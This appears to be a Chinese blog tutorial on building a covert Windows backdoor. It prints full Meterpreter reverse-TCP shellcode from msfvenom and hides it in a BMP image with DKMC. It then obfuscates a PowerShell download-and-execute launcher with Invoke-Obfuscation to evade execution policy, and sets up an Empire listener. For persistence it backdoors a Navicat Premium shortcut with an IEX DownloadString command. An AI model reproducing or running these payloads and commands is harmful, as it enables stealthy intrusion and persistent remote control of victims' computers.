Powershell脚本加密以及持久化运行 + BMP隐藏Shellcode

工欲善其事必先利其器

本文所需工具:DKMC,PWSH,Invoke-Obfuscation,empire
1.DKMC(生成图片木马后门)
下载地址:https://github.com/Mr-Un1k0d3r/DKMC
参考链接:https://blog.csdn.net/cloudatlasm/article/details/79039391

http://www.secist.com/archives/4995.html

使用msfvenom生成raw后门程序:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=5555 -f raw > /root/reverse_tcp.raw

BlackArch# python2 dkmc.py

Select an option:

    [*] (gen)    Generate a malicious BMP image
    [*] (web)    Start a web server and deliver malicious image
    [*] (ps)    Generate Powershell payload
    [*] (sc)    Generate shellcode from raw file
    [*] (exit)    Quit the application
>>> sc
(shellcode)>>> set source /root/reverse_tcp.raw

(shellcode)>>> run     #生成shellcode,记录生成后的shellcode,下一步需要用到
    [+] Shellcode:
\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x73\x68\x02\x00\x15\xb3\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5

(shellcode)>>> exit
>>>gen
(generate)>>> set source /root/source.bmp
(generate)>>> set dest /usr/share/DKMC/output/dest.bmp
(generate)>>> set shellcode \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x73\x68\x02\x00\x15\xb3\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5
(generate)>>> run      #生成图片后门
(generate)>>> exit
>>> ps
(powershell)>>> set url http://192.168.1.115:8080/dest.bmp
(powershell)>>> run    #生成powershell脚本(download_exec_bmp_backdoor.ps1),用来远程下载bmp图片后门并且执行该后门,记录下来拷贝到目标主机执行。
(powershell)>>> exit
>>> web
(web)>>> set folder /usr/share/DKMC/output/
(web)>>> set port 8080
(web)>>> run           #运行web服务

2.Pwsh  (Blackarch安装powershell环境)
先添加archlinuxcn软件源
执行sudo vim /etc/pacman.conf,在文件最底部加入以下文本后保存并退出:

[archlinuxcn]
SigLevel = Optional TrustAll
Server   = https://mirrors.ustc.edu.cn/archlinuxcn/$arch
然后执行sudo pacman -Syu yaourt更新仓库数据库并安装yaourt。
接着再执行yaourt install archlinuxcn-keyring安装archlinuxcn的keyring,不然有些pacman的软件包无法安装。
安装命令:pacman -S archlinuxcn/powershell-bin

3.Invoke-Obfuscation(powershell脚本加密)
下载地址:https://github.com/danielbohannon/Invoke-Obfuscation
参考链接:https://www.freebuf.com/sectool/136328.html

加密操作步骤如下:
BlackArch# cd /root/Invoke-Obfuscation
BlackArch# pwsh
PS /root/Invoke-Obfuscation> Import-Module ./Invoke-Obfuscation.psd1
PS /root/Invoke-Obfuscation> Invoke-Obfuscation
PS /root/Invoke-Obfuscation> set scriptpath /httpserver/download_exec_bmp_backdoor.ps1  #配置需要加密的脚本
PS /root/Invoke-Obfuscation> ENCODING      #进入编码选择菜单
/Invoke-Obfuscation\Encoding>  1           #使用ASCII编码
Invoke-Obfuscation\Encoding> BACK          #返回上一目录
Invoke-Obfuscation> LAUNCHER           #进入运行方式选择菜单
Invoke-Obfuscation\Launcher> PS            #使用powershell方式运行
Invoke-Obfuscation\Launcher> 67            #隐藏执行与绕过执行限制
可以使用命令完成以上步骤:Invoke-Obfuscation -ScriptPath {/httpserver/download_exec_bmp_backdoor.ps1} -Command 'Encoding\1,Launcher\PS\67' -Quiet

4.empire(Blackarch自带)
安装命令:pacman -s empire
下载地址:https://github.com/EmpireProject/Empire
参考链接:https://www.freebuf.com/articles/system/133640.html

https://blog.csdn.net/Fly_hps/article/details/80563407

安装运行所需环境
BlackArch# cd /usr/share/empire/setup

BlackArch# pip install -r requirements.txt
BlackArch# bash reset.sh

BlackArch#empire                                                                #运行empire

(Empire) > listeners                   #进入监听配置
(Empire: listeners) > uselistener http                                   #使用http监听模块
(Empire: listeners/http) > set Host http://192.168.1.115      #设置监听地址
(Empire: listeners/http) > set Port 8080                               #设置监听端口
(Empire: listeners/http) > execute                                        #运行监听
(Empire: listeners/http) > back  
(Empire: listeners) > launcher powershell http                     #生成agent脚本,该powershell脚本在目标主机执行,可以添加至自启动或者任务计划。
powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVgBlA.........

复制 -Enc 后面的代码
构造如下脚本,利用快捷方式来启动,每次点击Navicat Premium快捷方式即可执行。使用于经常使用的应用程序。
powershell -nop -execbypass -c "IEX (New-ObjectNet.WebClient).DownloadString('https://github.com/EmpireProject/Empire/raw/master/data/module_source/persistence/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK-LNKPath 'C:\ProgramData\Microsoft\Windows\StartMenu\Programs\PremiumSoft\Navicat Premium\Navicat Premium.lnk' -EncScriptSQBGACgAJABQAFMAVgBlA.........

posted @ 2019-02-15 16:25  heycomputer  阅读(674)  评论(0编辑  收藏  举报